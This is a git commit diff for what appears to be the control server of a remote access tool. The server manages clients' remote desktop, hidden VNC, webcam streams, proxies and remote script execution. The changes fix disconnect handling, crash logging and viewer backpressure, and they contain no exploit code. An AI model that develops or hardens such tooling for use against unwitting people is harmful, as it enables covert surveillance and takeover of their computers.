hopefully fix all issues with random disconnects during stupid panics from GPU mode.

This commit is contained in:
KingKDot
2026-04-07 13:26:52 -05:00
parent acc010be81
commit a0ed6d7cc1
10 changed files with 78 additions and 8 deletions
+12
View File
@@ -288,6 +288,7 @@ type PendingScript = {
resolve: (result: any) => void;
reject: (error: any) => void;
timeout: NodeJS.Timeout;
clientId: string;
};
const pendingScripts = new Map<string, PendingScript>();
@@ -295,6 +296,7 @@ type PendingCommandReply = {
resolve: (result: { ok: boolean; message?: string }) => void;
reject: (error: Error) => void;
timeout: NodeJS.Timeout;
clientId: string;
};
const pendingCommandReplies = new Map<string, PendingCommandReply>();
@@ -628,3 +630,13 @@ process.on("SIGTERM", () => {
flushAuditLogsSync();
process.exit(0);
});
process.on("uncaughtException", (err) => {
logger.error("[server] uncaught exception:", err);
flushAuditLogsSync();
process.exit(1);
});
process.on("unhandledRejection", (reason) => {
logger.error("[server] unhandled rejection:", reason);
});
@@ -561,7 +561,7 @@ export async function handleClientRoutes(
reject(new Error("Script execution timed out after 5 minutes"));
}, 5 * 60 * 1000);
deps.pendingScripts.set(cmdId, { resolve, reject, timeout });
deps.pendingScripts.set(cmdId, { resolve, reject, timeout, clientId: targetId });
});
target.ws.send(encodeMessage({
@@ -595,7 +595,7 @@ export async function handleClientRoutes(
deps.pendingCommandReplies.delete(cmdId);
reject(new Error("Voice capability probe timed out"));
}, 30_000);
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout });
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId });
});
target.ws.send(
@@ -17,11 +17,13 @@ import { stopAllProxiesForClient } from "../socks5-proxy-manager";
type PendingScript = {
timeout: ReturnType<typeof setTimeout>;
resolve: (value: { ok?: boolean; result?: string; error?: string }) => void;
clientId: string;
};
type PendingCommandReply = {
timeout: ReturnType<typeof setTimeout>;
resolve: (value: { ok: boolean; message?: string }) => void;
clientId: string;
};
type WsLifecycleDeps = {
@@ -333,6 +335,10 @@ export async function handleWebSocketMessage(
logger.info(`[purgatory] kicking existing socket for ${resolvedId} (superseded)`);
try { existingClient.ws.close(4004, "superseded"); } catch {}
clientManager.deleteClient(resolvedId);
clearEnrollmentTimeout(resolvedId);
deps.rdStreamingState.delete(resolvedId);
deps.hvncStreamingState.delete(resolvedId);
deps.webcamStreamingState.delete(resolvedId);
}
ws.data.wasKnown = clientExists(resolvedId);
@@ -729,6 +735,20 @@ export function handleWebSocketClose(
setOnlineState(clientId, false, storedDisconnectReason, storedDisconnectDetail);
deps.clearPendingNotificationScreenshots(clientId);
deps.clearClientPluginState(clientId);
for (const [cmdId, pending] of deps.pendingScripts) {
if (pending.clientId === clientId) {
clearTimeout(pending.timeout);
pending.resolve({ ok: false, error: "Client disconnected" });
deps.pendingScripts.delete(cmdId);
}
}
for (const [cmdId, pending] of deps.pendingCommandReplies) {
if (pending.clientId === clientId) {
clearTimeout(pending.timeout);
pending.resolve({ ok: false, message: "Client disconnected" });
deps.pendingCommandReplies.delete(cmdId);
}
}
deps.rdStreamingState.delete(clientId);
deps.hvncStreamingState.delete(clientId);
deps.webcamStreamingState.delete(clientId);
@@ -120,6 +120,8 @@ function buildViewerFrameBuffer(bytes: Uint8Array, header?: any): Uint8Array {
return buf;
}
const VIEWER_BACKPRESSURE_BYTES = 4 * 1024 * 1024; // 4 MB
function broadcastFrameToViewers(
sessions: Iterable<{ viewer: ServerWebSocket<SocketData> }>,
buf: Uint8Array,
@@ -130,6 +132,10 @@ function broadcastFrameToViewers(
const byteLen = buf.length;
for (const session of sessions) {
try {
const buffered = session.viewer.getBufferedAmount?.() ?? 0;
if (buffered > VIEWER_BACKPRESSURE_BYTES) {
continue;
}
session.viewer.send(buf);
metrics.recordBytesSent(byteLen);
sent = true;